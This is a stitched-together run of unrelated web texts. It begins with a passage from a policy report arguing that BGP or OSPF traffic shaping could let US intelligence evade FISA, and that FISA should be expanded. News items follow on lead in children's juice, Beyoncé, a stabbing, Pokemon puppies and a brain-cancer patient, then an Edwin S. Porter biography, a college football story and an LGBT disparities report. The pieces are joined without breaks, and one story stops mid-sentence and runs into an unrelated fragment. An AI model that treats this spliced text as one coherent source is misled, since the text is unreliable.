As the Icelandic incident shows, BGP can be manipulated to shape traffic from inside the United States to a tapped communication cable located abroad. And since the BGP manipulation is just tricking routers into moving traffic around, and is not storing, reading, or analyzing said traffic, it is not “acquiring” it. Instead, “acquisition” happens at the tapped foreign communication cable. As such, the same legal argument used before—that this manipulation falls under EO 12333 rather than FISA—would also apply here. But now, there are even fewer constitutional questions, since the router performing the initial BGP manipulation belongs to a foreign company and is located on foreign soil.
BGP is not the only Internet protocol that can be manipulated to perform traffic shaping. For instance, rather than manipulating BGP, one could instead manipulate a routing protocol called Open Shortest Path First (OSPF). Techniques for traffic shaping using OSPF have been described in a 2011 research paper by an NSA research scientist.
Traffic Shaping by Consent
The intelligence community does not have to hack into routers or use other clandestine techniques to shape traffic—it could simply ask the corporations that own those routers to provide access, or shape the traffic themselves. A document leaked by Edward Snowden suggests that the NSA has done this through its FAIRVIEW program. (FAIRVIEW was revealed to be a code name for AT&T ). The document states:
FAIRVIEW—Corp partner since 1985 with access to int[ernational] cables, routers, and switches. The partner operates in the U.S., but has access to information that transits the nation and through its corporate relationships provide unique access to other telecoms and ISPs. Aggressively involved in shaping traffic to run signals of interest past our monitors.
There is no evidence that the FAIRVIEW program is being used to shape traffic from inside the United States to foreign communications cables. But it is worth noting that, with the cooperation of corporations such as AT&T, traffic could easily be shaped to a collection point abroad without the need to hack into any routers, thus obviating many of the legal questions previously discussed.
Does All the Evidence Add Up to Traffic Shaping to Circumvent FISA?
This report has presented evidence that there is a possibility that the intelligence community can traffic shaping methods to reduce the privacy protections that U.S. persons have for their communications under FISA.
Modern networking protocols and technologies can be manipulated in order to shape Internet traffic from inside the United States toward tapped communications cables located abroad. It is possible that traffic shaping is regulated by EO 12333, and not by FISA, since the techniques shape traffic in bulk, in a way that does not “intentionally target” any specific individual or organization. Moreover, while FISA covers the “acquisition” of Internet traffic on U.S. territory, but the traffic shaping methods discussed merely move traffic around, but do not read, store, analyze, or otherwise “acquire” it. Instead, acquisition is performed on foreign soil, at the tapped communication cable. Finally, while the Fourth Amendment may require a warrant for hacking U.S. routers, the warrant requirement could be avoided by performing traffic shaping with the consent of corporations that own the routers (e.g. via the FAIRVIEW program), or by hacking foreign routers (and then using BGP manipulations).
As a final thought experiment, suppose that Congress decided not to reauthorize Section 702 of FISA, when it comes up for renewal at the end of this year. In this case, the NSA could no longer conduct warrantless surveillance on U.S. territory, and would instead have to revert to obtaining individualized FISA warrants for collection on targets on U.S. soil. The additional burden of oversight could create a new and powerful incentive for the NSA to employ traffic-shaping programs within U.S. borders. Internet traffic could be “shaped” from within U.S. territory (where warrantless surveillance would not be lawful) to foreign territory, where it could be collected without a warrant under EO 12333.
So, the question remains, can the NSA lawfully employ traffic-shaping techniques as a loophole that evades privacy protections for U.S. persons? The answer to this question is probably buried in classified documents. Nevertheless, a loophole exists, and eliminating it calls for a realignment of current U.S. surveillance laws and policies.
How to Provide Oversight When Conducting Surveillance of Americans
How can we eliminate the loophole that allows the surveillance of American Internet communications to evade authorization from the FISA Court, the legislative branch, and judicial branch of the U.S. government?
Technical Solutions Will Not Work
One might be tempted to eliminate these loopholes via technical solutions. For instance, traffic shaping could be made more difficult by designing routers that are “unhackable,” and Internet protocols could be made secure against traffic-shaping manipulations. Or the confidentiality of traffic could be protected just by encrypting everything.
While this approach sounds good in theory, in practice it is unlikely to work.
First, it is highly unlikely that we will ever have Internet infrastructure devices (e.g. routers) that cannot be hacked. Router software is complicated, and even the best attempt at an “unhackable” router is likely to contain bugs. Intelligence agencies have dedicated resources to finding and using these bugs to hack into routers. And even if we somehow manage to create bug-free router software, the intelligence community has been known to physically intercept routers as they ship in the mail, and tamper with their hardware.
A key challenge is that the Internet is a global system, one that transcends organizational and national boundaries.
Second, it will take many years to develop and implement secure Internet protocols that prevent traffic shaping. A key challenge is that the Internet is a global system, one that transcends organizational and national boundaries. Deploying a secure Internet protocol requires cooperation from thousands of independent organizations in different nations. This is further complicated by the fact that many secure Internet protocols do not work well when they are used only by a small number of networks.
Finally, while encryption can be used to hide the contents of Internet traffic, it does not hide metadata (that is, who is talking to whom, when they are talking, and for how long). Metadata is both incredibly revealing, and less protected by the law. Intelligence agencies have also dedicated resources toward compromising encryption. Moreover, EO 12333 allows the NSA to retain encrypted communications indefinitely. This is significant because the technology used to break encryption tends to improve over time—a message that was encrypted in the past could be decryptable in the future, as technology improves.
This is not to say that technical solutions are unimportant. On the contrary, they are crucial, especially because they protect American’s traffic from snoopers, criminals, foreign intelligence services, and other entities that do not obey American laws. Nevertheless, technologies evolve at a rapid pace, so solving the problem using technology would be a continuous struggle.
It is much more sensible to realign the legal framework governing surveillance to encompass the technologies, capabilities, and practices of today and of the future.
A Legal Band-Aid Solution
A band-aid solution would be to ensure that it is illegal to deliberately reroute the traffic of any and all traffic belonging U.S. persons to foreign soil, where it can be “incidentally collected” under EO 12333. A good start would be to clarify the laws and policies surrounding traffic shaping and hacking under FISA and EO 12333. This could have been addressed, for example, in the investigation of EO 12333 by the Privacy and Civil Liberties Oversight Board, first announced in July 2014. However, the board’s report still has not been completed, and the board has lost four of its required five members.
The 1978 FISA definition of “installing a device” could also be revised in a technology-neutral fashion, so that it would forbid any rerouting of U.S. persons’ communications, regardless of type of device. As this report has shown, many traffic shaping techniques cannot be executed in a “targeted” fashion, so the practice should be ruled out entirely, even if Americans are not “intentionally targeted.”
This band-aid solution could rule out the use of traffic shaping to evade FISA by deliberately redirecting American traffic to foreign territory. However, this is highly unsatisfying, because this band-aid solution does not offer any protections for American traffic that naturally flows abroad. Indeed, this is a crucial issue, since we already know of at least one program that has swept up communications (including those of Americans) that was naturally routed to data centers on foreign territory.
Breaking Down Territorial Boundaries in the Law: Expand FISA
Therefore, the most natural solution would be to break down the legal barriers that separate spying abroad from spying on U.S. soil. The same legal framework should be applied to any and all Internet traffic, regardless of the geographical point of interception. This would disentangle Fourth Amendment protections for U.S. persons from the vagaries of Internet protocols and technologies. It would also offer robust legal protections as our communications technologies continue to evolve.
Indeed, as mentioned earlier, the intelligence community has already acknowledged the importance of this issue. J. Michael McConnell, the director of national intelligence, justified expanded surveillance authorities under FISA by arguing in 2007 that today’s “global communications grid makes geography an increasingly irrelevant factor.” His argument for boundary free-surveillance is simple: if agents are surveilling only foreigners, why does it matter that the data collection happens on U.S. territory? Indeed, this boundary-free approach is becoming the norm for surveilling a foreign target. In 2016, for example, the government expanded its hacking authorities to allow a single warrant to be used to hack into a device, even if the physical location of the device is unknown.
But, likewise, this same logic should apply to expanding privacy protections for Americans, when their communications venture onto foreign soil. The argument remains simple: if agents end up collecting data on U.S. persons, why should those U.S. persons lose their judicially-protected right to privacy, just because the data was collected abroad? If geography is “an increasingly irrelevant factor,” it should not the basis for Americans to lose their constitutional rights.
One concrete improvement would be that surveillance that affects Americans could no longer evade the scrutiny of the FISA Court.
The most thorough, satisfying solution would simply be to expand FISA to cover the collection of all traffic, both at home and abroad. While FISA’s protections for U.S. persons are not perfect, expanding FISA would still improve the current state of affairs. One concrete improvement would be that surveillance that affects Americans could no longer evade the scrutiny of the FISA Court. Furthermore, violations of the law would come with criminal penalties, rather than just sanctions internal to the intelligence community.
To enact this solution, Congress could revise FISA’s definition of “electronic surveillance,” which determines the type of surveillance covered by FISA. The first goal of a revision would be to eliminate distinctions based on geographical location of collection. In other words, “electronic surveillance” should include data collected on both foreign and domestic territory. The second goal would be to formulate the definition in a technology-neutral fashion, so it cannot be outpaced by new technologies and new surveillance capabilities. (FISA’s current definition of “electronic surveillance” is far from technology-neutral; it distinguishes, for example, between “wired” communications and “radio” communications. Moreover, it seems to exclude traffic shaping technologies, which is not especially surprising, since Congress could hardly be expected in 1978 to anticipate today’s surveillance techniques.) A third goal would be to clarify and broaden the definition of “intentional targeting.” As we have seen, surveillance operations can still have significant impact on Americans even when they are not the “intentional targets” of the operation.
The FISA Amendments Act is set to expire in December 2017. Congress should not miss this opportunity to consider revising FISA’s definition of “electronic surveillance” in order to eliminate loopholes that allow the executive branch to unilaterally conduct surveillance of American Internet traffic. Undertaking this revision is a crucial step toward ensuring that legislative and judiciary branches have a firm hand at protecting the privacy of American communications.
Acknowledgements
I thank Axel Arnbak for collaboration on the original research on which this article is based, and the Sloan Foundation for funding that work. Much of the new research appearing in this report would not have been possible without the assistance of Timothy Edgar. Doug Madory provided the data presented in Figure 1. Andrew Sellars provided valuable assistance with the legal analysis. This work also benefited from comments from Steven Bellovin, Saul Bermann, David Choffnes, Ethan Heilman, Brian Levine, Jonathan Mayer, George Porter, Jennifer Rexford and Marcy Wheeler and editing by Barton Gellman, Sam Adler-Bell, and Jason Renker. Any mistakes and omissions remain my responsibility.It's not the full soundtrack from the first two Tony Hawk games, but there are some good ones in there. Check put the full list below.
Bring the Noise - Anthrax featuring Chuck D
Superman - Goldfinger
When Worlds Collide - Powerman 5000
Heavy Metal Winner - Consumed
May 16 - Lagwagon
No Cigar - Millencolin
You - Bad Religion
The Bomb - Pigeon John
We the People - Lateef the Truthspeaker
Marathon Mansion! - Pegasuses-XL
Teenage Blood - Apex Manor
Please Ask for Help - Telekinesis
Flyentology (Cassettes Won’t Listen Remix) - El-P featuring Trent Reznor
USA - Middle Class Rut
The list comes from SoundAndVisionMag.com which has an interview with the game's producer and audio designer about the difficulty of bringing together the soundtrack for the game.Group Finds Lead In Kids' Drinks
A California environmental group found levels of lead in children's juice products that far exceed state law — and in some cases also exceed federal levels for young children. The group purchased apple juice, grape juice, canned peaches and pears, and fruit cocktails — all marketed for kids — and sent them to an EPA-certified lab for testing.
ROBERT SIEGEL, Host:
Sarah Varney of member station KQED in San Francisco reports.
SARAH VARNEY: David Schardt is a senior nutritionist at the Center for Science in the Public Interest, a consumer advocacy group that tracks food safety issues. Schardt reviewed the testing results for NPR.
DAVID SCHARDT: If someone is making unfortunate choices in the brands that they're buying and serving their children, this could be a cause of concern because they might be getting more lead than is healthy for them.
VARNEY: Megan Schwarzman, a family physician and associate director of the Center for Green Chemistry at the University of California Berkeley, says children are especially vulnerable.
MEGAN SCHWARZMAN: Their brain is not mature. Their nervous system is not mature. All of their organ systems are developing rapidly.
VARNEY: The group has sent notices of suspected violations of state law to California's attorney general, Jerry Brown. The foundation's president, Jim Wheaton, says that such tests can go a long way toward changing company behavior.
JIM WHEATON: Once pressed by things like California's law, people find ways to get the lead out and they reduce the exposure so they don't have to give a warning, and that's a good result.
VARNEY: All of this gives Schardt from the Center for Science in the Public Interest a glimmer of hope.
SCHARDT: If you look at the apple juice as if there are some manufacturers who managed to avoid the lead entirely. And it would be interesting to find out how they're managing to do that. Are they choosing different fruits, fruits from different farmers who have avoided lead contamination of their products? Or do their manufacturing processes, are they of such a kind that they avoid adding lead to the food that they're processing?
VARNEY: For NPR News, I'm Sarah Varney.
(SOUNDBITE OF MUSIC)
BLOCK: You're listening to ALL THINGS CONSIDERED from NPR News.
Copyright © 2010 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.Beyoncé could make Billboard chart history with her album, LEMONADE. The singer's latest release is on track to debut at the top spot of the Billboard 200 chart, according to Billboard. If LEMONADE does top the list as predicted, Beyoncé will cement her Queen status and become the first artist to both reach No. 1 and debut at No. 1 with her first six studio albums. The current projections are based on estimates that LEMONADE will sell over 550,000-plus equivalent album units in the week ending April 28 with 450,000 or more of those being traditional album sales.
Last night, Beyoncé kicked off her Formation World Tour in Miami in support of the album. DJ Khaled did not disappoint as the show's opener bringing out special guests Rick Ross, Future, Lil Wayne, and 2 Chainz. Beyoncé then hit the stage and performed the majority of LEMONADE tracks for the first time including "Hold Up," "Sorry," "Freedom," and more. Bey also took a moment out of the show to pay a special tribute to the late Prince by playing "Purple Rain." The Formation World Tour continues Friday night in Tampa.Image copyright Google Image caption The victim was stabbed in a pedestrian area of Market Place
A man has been stabbed to death during a row with some people on a scrambler-style motorcycle.
Merseyside Police said he was with friends in a pedestrian area of Market Place in Prescot town centre when the argument started, at about 00:40 GMT.
The 29-year-old was stabbed in the neck with an unknown weapon, police said. The offenders fled, riding off in the direction of a Tesco store.
The victim was taken to hospital where he was pronounced dead soon after.
A murder investigation has been launched and police are appealing for witnesses.
Ch Insp Nick Gunatilleke said: "This was a horrific and senseless attack on a young man who had been walking home from a night out in a local pub with his friends."
He called for the offenders to "search their consciences... and hand themselves in now as we will catch them in the end".
Police did not specify how many suspects they were looking for, saying only that the man was stabbed by "the rider or riders of a motorbike".CLOSE Russell Simmons has pulled a sex tape parody involving abolitionist Harriet Tubman from his new YouTube channel, All Def Digital. VPC
The video on his All Def Digital YouTube channel contained a negative portrayal of Harriet Tubman.
Russell Simmons attends the premiere of 'Lee Daniels' The Butler' on Aug. 12 in L.A. (Photo11: Alberto E. Rodriguez, Getty Images)
Russell Simmons is apologizing after coming under fire for a video that appeared on his new All Def Digital YouTube channel.
The "Harriet Tubman Sex Tape" depicts an actress portraying the famous abolitionist having sex with her "Massa" in order to allow her to run the Underground Railroad. The video has since been taken down. Simmons issued an apology on Globalgrind.com in which he says he was contacted by his "buddies" at the NAACP asking for removal of the video.
"I'm a very liberal person with thick skin," wrote Simmons. "My first impression of the Harriet Tubman piece was that it was about what one of actors said in the video, that 162 years later, there's still tremendous injustice. And with Harriet Tubman outwitting the slave master? I thought it was politically correct. Silly me. I can now understand why so many people are upset. I have taken down the video. Lastly, I would never condone violence against women in any form, and for all of those I offended, I am sincerely sorry."
Read or Share this story: http://usat.ly/14BCyYHAmidst a new wave of rumors this week that linked his school with the Big 12, Florida State athletic director Randy Spetman told the Orlando Sentinel that his school is "committed to the ACC."
From Coley Harvey:
"We're in the ACC. We're committed to the ACC," Spetman said. "That's where our president and the board of trustees has committed to, so we're great partners in the ACC. "I don't know why people have written that," he later added. "I don't know how they can say that — and I don't mean to pick on the media — but how can the media person come out and say that there was a Florida State person in a meeting that wasn't true? How can they get away with that? To my knowledge, nobody from our organization was there. So I don't know how they can get away with saying that."
As Harvey notes in a follow-up blog post, yes, many are still skeptical about Spetman's comments. We've all seen similar steps throughout conference realignment chatter with the denials and non-denials, which eventually end up meaning nothing. There are plenty of pros and cons for FSU in each conference. I'd have to think right now, however, there is too much working against a move for the Seminoles any time soon.President Trump’s daughter and son-in-law will reportedly retain hold of a real estate and investment business worth as much as $741 million while serving in White House jobs, according to financial disclosures released yesterday.
The revelations about Jared Kushner and Ivanka Trump, who the New York Times say will remain “the beneficiaries of a sprawling real estate and investment business still worth as much as $741 million,” were part of a massive White House release of financial disclosure forms for more than 100 of its top administration officials.
Trump’s chief strategist, Steve Bannon, disclosed assets between $13 million and $56 million.
Gary Cohn, who left a top position at Goldman Sachs to become Trump’s chief economic adviser, received at least $40 million in income from Goldman Sachs-related dividends, interest, salary and bonuses.
Trump adviser Kellyanne Conway earned at least $842,614 last year and her assets are valued at between $11 million and at least $44.2 million, according to the ethics filings.HERRIMAN, Utah (KSTU) -- A mother and her kids were looking for Pokemon, but they ended up finding three abandoned puppies.
The puppies were discovered at Herriman Canyon last Thursday and are now being cared for at Salt Lake County Animal Services.
They have been named Dialga, Kyurem and Lugia.
The puppies were fittingly named after Pokemon Go characters because the game is the main reason they are still alive.
"A woman was hiking with her children and stumbled upon these three puppies while they were hunting for Pokemon," said Callista Pearson of Animal Services.
Pearson said the Border Collie mixes, which are from two different litters, are only four months old.
Their chances of surviving without an owner were about as good as catching a Pikachu without a Pokeball.
"They were scavenging off of carcasses, so they were probably hungry and definitely dehydrated because it was so hot outside last week," Pearson said.
Animal Services is now looking to find these Pokemon puppies new homes.
"They'll make great family dogs, they'll need training because they are puppies, but these are great little characters that this person stumbled upon," Pearson said.
If you are interested in adopting any of these puppies, you can call Salt Lake County Animal Services at 385-468-7387 or visit the shelter in person. It is located at 511 West 3900 South in Salt Lake City.
RELATED: Police rescue puppy locked in hot car:Oakland resident Sableu Cabildo was diagnosed at the end of 2011 with a kind of brain cancer known as an astrocytoma. It originated on the right side of her thalamus, the lobed mass under the cerebral cortex that acts like the brain’s switchboard, regulating sensory perception and motor functions. Because of the cancer, Cabildo has been steadily losing her short-term memory and her balance. She stutters sometimes, and to be on the safe side, doesn’t drive at night anymore.
To alleviate some of the symptoms of her cancer and the harsher side affects of her medications, Cabildo, 34, has a medical marijuana prescription. It’s helped to calm her mood swings and improve her diminished appetite. It also dulls the pain from the migraine headaches caused by her disease. It lets her sleep at night.
She has conscious seizures about once a month, each lasting around five minutes. The seizures make her feel like she’s floating above the world as it carries on around her in slow motion. She can control herself and it isn’t necessarily apparent to others when she’s seizing. But each episode feels like being hit in the head with a bat. “Not a painful feeling, but kind of a lost feeling, like I was in the wrong body,” she said. “I felt like my ears would close and my brain would shut off.”
The results of an MRI earlier this month weren’t promising |
guests with as many guests as possible.”Edwin Stanton Porter (April 21, 1870 – April 30, 1941) was an American film pioneer, most famous as a producer, director, studio manager and cinematographer with the Edison Manufacturing Company and the Famous Players Film Company.[1][2] Of over 250 films created by Porter, his most important include Jack and the Beanstalk (1902), Life of an American Fireman (1903), The Great Train Robbery (1903), The Kleptomaniac (1905), Life of a Cowboy (1906), Rescued from an Eagle's Nest (1908), and The Prisoner of Zenda (1913).
Birth and education [ edit ]
Porter was born and raised in Connellsville, Pennsylvania, to Thomas Richard Porter, a merchant, and Mary (Clark) Porter; he was the fourth of seven children with four brothers (Charles W., Frank, John and Everett Melbourne) and two sisters (Mary and Ada). Named Edward at birth, he later changed his name to Edwin Stanton, after Edwin Stanton, the Democratic politician from Ohio who had served as Abraham Lincoln's Secretary of War.[3] After attending public schools in Connellsville, Porter worked, among other odd jobs, as an exhibition skater, a sign painter, and a telegraph operator. He developed an interest in electricity at a young age, and shared a patent at age 21 for a lamp regulator.[4] Eventually becoming a merchant tailor, Porter was battered by the Panic of 1893. He filed for bankruptcy on June 15 and enlisted in the United States Navy four days later on June 19.[5]
Career [ edit ]
Early career [ edit ]
He was employed initially in the electrical department of William Cramp & Sons, a Philadelphia ship and engine building company. During his three years' service he showed aptitude as an inventor of electrical devices to improve communications.[6]
Porter entered motion picture work in 1896, the first year movies were commercially projected on large screens in the United States. He was briefly employed in New York City by Raff & Gammon, agents for the films and viewing equipment made by Thomas Edison, and then left to become a touring projectionist with a competing machine, Kuhn & Webster's Projectorscope. He traveled through the West Indies and South America, showing films at fairgrounds and in open fields. He later made a second tour through Canada and the United States.
Returning to New York City in early 1898, Porter found work at the Eden Musée, a Manhattan wax museum and amusement hall[7] which had become a center for motion picture exhibition and production and licensee of the Edison Manufacturing Company. While at Eden Musée, Porter worked assembling programs of Edison films, most particularly exhibitions of films of the Spanish–American War, Edison productions which helped stir an outbreak of patriotic fever in New York City. As an exhibitor, Porter had tremendous creative control over these programs, presenting a slate of films accompanied by a selection of music and live narration.[8]
Edison [ edit ]
In 1899 Porter joined the Edison Manufacturing Company. Soon afterward he took charge of motion picture production at Edison's New York studios, operating the camera, directing the actors, and assembling the final print. He collaborated with several other filmmakers, including George S. Fleming. During the next decade Porter became the most influential filmmaker in the United States. From his experience as a touring projectionist, Porter knew what pleased crowds, and he began by making trick films and comedies for Edison. One of his early films was Terrible Teddy, the Grizzly King, a satire made in February 1901 about the then Vice President-elect, Theodore Roosevelt. Like all early filmmakers, he took ideas from others, but rather than simply copying films he tried to improve on what he borrowed. In his Jack and the Beanstalk (1902) and Life of an American Fireman (1903) he followed earlier films by France's Georges Méliès and members of England's Brighton School, such as James Williamson. Instead of using abrupt splices or cuts between shots, however, Porter created dissolves, gradual transitions from one image to another. In Life of an American Fireman particularly, the technique helped audiences follow complex outdoor movement.
The Great Train Robbery and after [ edit ]
Porter's next film, The Great Train Robbery (1903) took the archetypal American Western story, already familiar to audiences from dime novels and stage melodrama, and made it an entirely new visual experience. The one-reel film, with a running time of twelve minutes, was assembled in twenty separate shots, along with a startling close-up of a bandit firing at the camera. It used as many as ten different indoor and outdoor locations and was groundbreaking in its use of "cross-cutting" in editing to show simultaneous action in different places. No earlier film had created such swift movement or variety of scene. The Great Train Robbery was enormously popular. For several years it toured throughout the United States, and in 1905 it was the premier attraction at the first nickelodeon. Its success firmly established motion pictures as commercial entertainment in the United States.
Nervy Nat Kisses the Bride, silent film by Edwin S. Porter, 1904, silent film by Edwin S. Porter, 1904
After The Great Train Robbery Porter continued to try out new techniques. He presented two parallel stories in The Kleptomaniac (1905), a film of social commentary like his technically more conventional film of 1904, The Ex-Convict. In The Seven Ages (1905) he used side lighting, close-ups, and changed shots within a scene, one of the earliest examples of a filmmaker departing from the theatrical analogy of a single shot for each scene. He also directed trick films such as Dream of a Rarebit Fiend (1906), based on the comic strip by Winsor McCay. Between 1903 and 1905 he successfully demonstrated most of the techniques that were to become the basic modes of visual communication through film. For instance, he helped to develop the modern concept of continuity editing, and is often credited with discovering that the basic unit of structure in film was the "shot" rather than the scene (the basic unit on the stage), paving the way for D. W. Griffith's advances in editing and screen storytelling. Yet he seemed to regard them only as separate experiments and never brought them together in a unified filmmaking style. Porter directed future filmmaker Griffith in Rescued from an Eagle's Nest (1908).
Defender and Rex Film Companies [ edit ]
Lighthouse by the Sea (1911) directed by Edwin S. Porter for Silent movie with tinting(1911) directed by Edwin S. Porter for Edison Manufacturing Company. Duration: 14:46.
In 1909 after tiring of the industrial system set up to feed the booming nickelodeon business, Porter left Edison and founded a company to manufacture Simplex motion picture projectors. In 1910 he founded Defender Film Company,[9] which folded after one year. In 1911 he joined with others in organizing the Rex Motion Picture Company.[10] In 1912 he sold out and accepted an offer from Adolph Zukor to become chief director of the new Famous Players Film Company, the first American company that regularly produced feature-length films. He directed stage actor James K. Hackett in their first feature film, The Prisoner of Zenda (1913). He also directed Mary Pickford in her first feature film, A Good Little Devil (1913), also directing Pauline Frederick and John Barrymore.
3D movie pioneer [ edit ]
But his directorial skills had not kept pace with rapid changes in motion picture art, although his technical skills were piqued by 3D. Porter's last film premiered on June 10, 1915, Niagara Falls,[11] the first anaglyph 3D movie. In 1916 he left Famous Players during a reorganization.
Precision Machine Company [ edit ]
From 1917 to 1925 Porter served as president of the Precision Machine Company, manufacturers of the Simplex projectors.[1] After his retirement in 1925 he continued to work on his own as an inventor and designer, securing several patents for still cameras and projector devices. During the 1930s he was employed by an appliance corporation.
Death and legacy [ edit ]
External video Edwin Stanton Porter House, Somerset PA, (5:04) by Berkeley Chapman, May 23, 2011
Aged 71, he died in 1941 at the Hotel Taft in New York City[1] and was buried in Husband Cemetery, Somerset, Pennsylvania. He was survived by his wife, Caroline Ridinger, whom he had married on June 5, 1893; they had no children.
Porter remains an enigmatic figure in motion picture history. Though his significance as director of The Great Train Robbery and other innovative early films is undeniable, he rarely repeated an innovation after he had used it successfully, never developed a consistent directorial style, and in later years never protested when others rediscovered his techniques and claimed them as their own. He was a modest, quiet, cautious man who felt uncomfortable working with the famous stars he directed starting in 1912. Zukor said of Porter that he was more an artistic mechanic than a dramatic artist, a man who liked to deal with machines better than with people.[12]
See also [ edit ]UH QB O'Korn to get first career start against Rice
Houston quarterback John O'Korn will make his first career start in Saturday's Bayou Bucket game against Rice.
UH coach Tony Levine made the announcement Thursday, ending speculation that the true freshman from Fort Lauderdale, Fla., would get the nod over injured starter David Piland.
"I feel like he's prepared," Levine said of O'Korn. "It will be fun watching him play."
Piland still sidelined
Levine said Piland is unable to play "because of health reasons." The junior suffered a concussion in the Cougars' last game — Sept. 7 at Temple — and has not practiced in the nearly two weeks since.
Piland, in his third year as Houston's starting quarterback, will be re-evaluated next week.
"Right now, what we do know, it's short term in terms of him not playing this game," Levine said.
O'Korn has seen extensive action in both games this season, including leading a second-half rally to beat Temple in the Cougars' American Athletic Conference opener.
Houston Cougars quarterback John O'Korn (5) runs with the ball in the fourth quarter as the University of Houston Cougars defeated the Temple Owls 22-13 in their first American Athletic Conference game at Lincoln Financial Field Saturday, Sept. 7, 2013, in Philadelphia. less Houston Cougars quarterback John O'Korn (5) runs with the ball in the fourth quarter as the University of Houston Cougars defeated the Temple Owls 22-13 in their first American Athletic Conference game at... more Photo: Johnny Hanson, Houston Chronicle Photo: Johnny Hanson, Houston Chronicle Image 1 of / 5 Caption Close UH QB O'Korn to get first career start against Rice 1 / 5 Back to Gallery
Earlier this week, Levine praised O'Korn for his poise in a close game on the road.
"It didn't seem to bother or faze him," he said.
In two games, O'Korn has completed 34 of 46 pass attempts (74 percent) for 340 yards with three touchdowns and no interceptions.
UH (2-0) will look to remain unbeaten in the annual rivalry game against Rice (1-1), which is coming off a victory over Kansas.
"I told him, 'You don't need to be Superman, you just need to be John O'Korn,' " Levine said. "I think he is looking forward to this opportunity."
Levine informed O'Korn of the decision Thursday morning and got the type of response he expected.
"He didn't jump up and down and hug me or give me a high-five. He shook my hand and looked me in the eye," Levine said. "He is certainly excited. He is confident yet humble."
True freshman Greg Ward and junior college transfer Billy Cosh will serve as backup quarterbacks.
Having to go with a backup quarterback is a similar situation that UH faced Rice last year when starter Taylor McHargue was injured a week earlier and replaced by backup Driphus Jackson. The Cougars won the game 35-14.
Owls expect face pace
Regardless of quarterback, Owls coach David Bailiff expects the same up-tempo UH offense.
"They are a high-powered offense," Bailiff said. "I know they struggled against Temple, but I know that's not what we're going to see. They are going to line up and try and run 100 plays at you."
joseph.duarte@chron.com
twitter.com/Joseph_DuarteLGBT Americans face greater social and economic disparities in the South, Midwest, and Mountain states, according to a new Williams Institute report sponsored by Credit Suisse.
The report reviews social climate, demographic, economic and health indicators, and highlights disparities between the 21 states that currently have non-discrimination laws that include sexual orientation and the 29 states without such laws.
“While the nation seems on the verge of full marriage equality, most states still have not adopted non-discrimination laws protecting LGBT people,” said Brad Sears, Executive Director of The Williams Institute. “This report sheds light on important differences between LGBT people who live in the states that have moved ahead on LGBT rights – mainly on the coasts — and those who have not.”
Key findings of the report include:
LGBT Americans in the 29 states without state laws that prohibit discrimination on the basis of sexual orientation (non-state law states) consistently see greater disparities than in the 21 states with such laws (state law states), including in the following areas:
Social Climate: An LGB social climate index, which measures the level of social acceptance of lesbian, gay, and bisexual people, found that the 21 state law states have a much warmer climate towards LGB people than the 29 non-state law states, with average index scores of 70 in the state law states and 52 in the non-state law states.
An LGB social climate index, which measures the level of social acceptance of lesbian, gay, and bisexual people, found that the 21 state law states have a much warmer climate towards LGB people than the 29 non-state law states, with average index scores of 70 in the state law states and 52 in the non-state law states. Economic Vulnerability for African-Americans: African-American LGBT individuals live in higher concentrations in the 29 non-state law states (18%) than in the 21 state law states (12%), leaving nearly 900,000 African-American LGBT workers with limited legal options to address experiences of discrimination based on sexual orientation and gender identity in the workplace.
African-American LGBT individuals live in higher concentrations in the 29 non-state law states (18%) than in the 21 state law states (12%), leaving nearly 900,000 African-American LGBT workers with limited legal options to address experiences of discrimination based on sexual orientation and gender identity in the workplace. Household Income: While same-sex couple households enjoy a $14,000 income advantage in the 21 state law states, that shrinks to $5,300 in the 29 non-state law states. In contrast, same-sex couple households with children face an income disadvantage when compared to their different-sex married counterparts with children. That income gap widens from $4,300 in the state law states to $11,000 in the non-state law states.
LGBT Americans in the South face increased disparities compared to LGBT people in other regions in the country in the following areas:
Household Income for parenting same-sex couples: Same-sex couples raising children have a household income that is nearly $11,000 lower on average than their different-sex, married parent counterparts who are raising children.
Same-sex couples raising children have a household income that is nearly $11,000 lower on average than their different-sex, married parent counterparts who are raising children. Health: More new HIV infections among men who have sex with men (MSM) have come from the South than any other region in the country. Southern LGBT individuals also have the lowest insurance rates in the country, with nearly one in four lacking insurance. In contrast, 16% of non-LGBT individuals in the South do not have health insurance.
LGBT people and same-sex couples from the Midwest find themselves facing some of the greatest inequities in:
Education: LGBT individuals in the Midwest are less likely to have completed a college degree by age 25 than non-LGBT Midwesterners, while LGBT individuals in other regions of the country tend to have similar or higher levels of education than their non-LGBT counterparts.
LGBT individuals in the Midwest are less likely to have completed a college degree by age 25 than non-LGBT Midwesterners, while LGBT individuals in other regions of the country tend to have similar or higher levels of education than their non-LGBT counterparts. Household Income: LGBT individuals in the Midwest are substantially more likely to report having a household income below $24,000 than their non-LGBT counterparts (35% v. 24%, respectively). Same-sex couples have a statistically significant income advantage in all regions of the country, except the Midwest, where the advantage nearly disappears. Among same-sex couples raising children, Midwesterners have a household income nearly $20,000 less than their different-sex couple married parent counterparts.
LGBT people and same-sex couples in the Mountain states face regional differences in:
Household Income: LGBT individuals in the Mountain states are much more likely to report having a household income below $24,000 than their non-LGBT counterparts (33% v. 22%, respectively).
LGBT individuals in the Mountain states are much more likely to report having a household income below $24,000 than their non-LGBT counterparts (33% v. 22%, respectively). Health: MSM in the Mountain states currently have the highest incidence of HIV in the country at 61.6 new infections per 100,000 MSM. They also have the greatest disparity among the regional population as a whole. The new HIV infection rate among MSM is nearly six times the regional population rate, and the MSM HIV prevalence is more than 50 times the regional population prevalence.
Adoption: Same-sex couples in the Mountain states have the lowest adoption rates of same-sex couples throughout the country, even though different-sex married couples in the same region have the highest adoption rate in the country, among different-sex married couples.
“While the nation seems on the verge of full marriage equality, most states still have not adopted non-discrimination laws protecting LGBT people,” said Brad Sears, Executive Director of The Williams Institute. “This report sheds light on important differences between LGBT people who live in the states that have moved ahead on LGBT rights–mainly on the coasts—and those who have not.”
The report, “The LGBT Divide: A Data Portrait of LGBT People in the Midwestern, Mountain & Southern States,” is available here.
You can also explore an interactive data visualization of the key data and findings from this report here.
This Story Filed UnderThe bed of a Welsh river is probably one of the last places you would expect to uncover a historic Asian artefact.
But one boatman on the River Towy was in for a surprise when he discovered an 18th century Kris sword while casting his net.
An investigation is underway to see how it reached the River Towy, and how long it has been there.
One boatman on the River Towy was in for a surprise when he discovered an 18th century Kris sword while casting his net
